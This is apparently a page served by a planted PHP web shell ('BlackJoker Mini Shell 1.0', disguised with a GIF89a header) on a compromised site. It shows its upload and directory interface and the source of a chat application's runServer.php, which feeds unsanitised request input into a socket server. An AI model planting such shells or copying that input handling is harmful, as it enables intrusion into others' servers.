GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/chat/temp/javaServer/
Upload File :
Current File : /home/serb/public_html/chat/temp/javaServer/runServer.php

<?PHP
	session_id("socketServer");
	@session_start();


  function fb($data){
    echo '================FireBug==============';
    print_r($data);
  }
  define('INC_DIR', dirname(__FILE__) . '/../../inc/');

	if ( isset($_REQUEST['start']) )
	{
		require_once( '../config.srv.php' );
		//unlink ( session_save_path().'\sess_socketServer' );
		session_destroy();
		mysql_connect($GLOBALS['fc_config']['db']['host'],$GLOBALS['fc_config']['db']['user'],$GLOBALS['fc_config']['db']['pass']);
		mysql_select_db($GLOBALS['fc_config']['db']['base']);
		mysql_query("DELETE FROM {$GLOBALS['fc_config']['db']['pref']}connections");
		session_id("socketServer");
		@session_start();
		$_SESSION['timer'] = time();
		exit();
	}



	//change folder to current

	$GLOBALS['my_file_name'] = 'runServer';

	require_once(INC_DIR.'common.php');

	if ( isset($_REQUEST['delete']) )
	{


		$ID = $_REQUEST['delete'];
		$connID = $_SESSION['fc_connections'][$ID]['clientId'];

		unset($_SESSION['fc_connections'][$ID]);
		unset($_SESSION ['connect'][$connID]);


		unset($_SESSION['fc_inst'][$ID]);

		$tempArray = $_SESSION['fc_gender_cache'];
		foreach( $_SESSION['fc_connections'] as $key=>$val )
		{
			if ( isset($val['userid']) )
			    unset($tempArray[$val['userid']]);

		}
		list($k,$v) = each($tempArray);

		unset($_SESSION['fc_users_cache'][$k]);//[fc_inst]
		unset($_SESSION['fc_gender_cache'][$k]);
		$stmt = new Statement("DELETE FROM {$GLOBALS['fc_config']['db']['pref']}connections WHERE id = ?",223);
		$stmt->process($ID);
		$_SESSION['client']--;
		exit();
	}
	if ( isset($_REQUEST['deleteID']) )
	{
		$_SESSION['fc_connections'][$_REQUEST['deleteID']]['userid'] = '';
		exit();
	}


	$pInfo = pathinfo(__FILE__);
	chdir( $pInfo['dirname'] );
	//---
	if (!isset($_SESSION['client']))
    	$_SESSION['client'] = -1;


	$GLOBALS['fc_config_stop'] = false;



	$GLOBALS['fc_config']['botsdata_path'] =  INC_DIR . '.' . $GLOBALS['fc_config']['botsdata_path'];

	require_once( 'myxml.inc.php');
	require_once('patServer.php');
	require_once('patXMLServer_Dom.php');
  require_once('socketServer.php');
	$server = new socketServer(
								$GLOBALS['fc_config']['socketServer']['host'],
								$GLOBALS['fc_config']['socketServer']['port']
							  );

	$GLOBALS['socket_server'] = &$server;
	$url = utf8_decode($_REQUEST['str']);

	//$url = $_REQUEST['str'];
	$url = str_replace("+" ,"^%$#@#$#" , $url);
	$url = urldecode( $url );
	$url = str_replace("^%$#@#$#" , "+" , $url);


	$server->setMaxClients( $GLOBALS['fc_config']['socketServer']['max_clients'] );
	$server->start(stripcslashes($url));
?>

./BlackJoker Mini Shell 1.0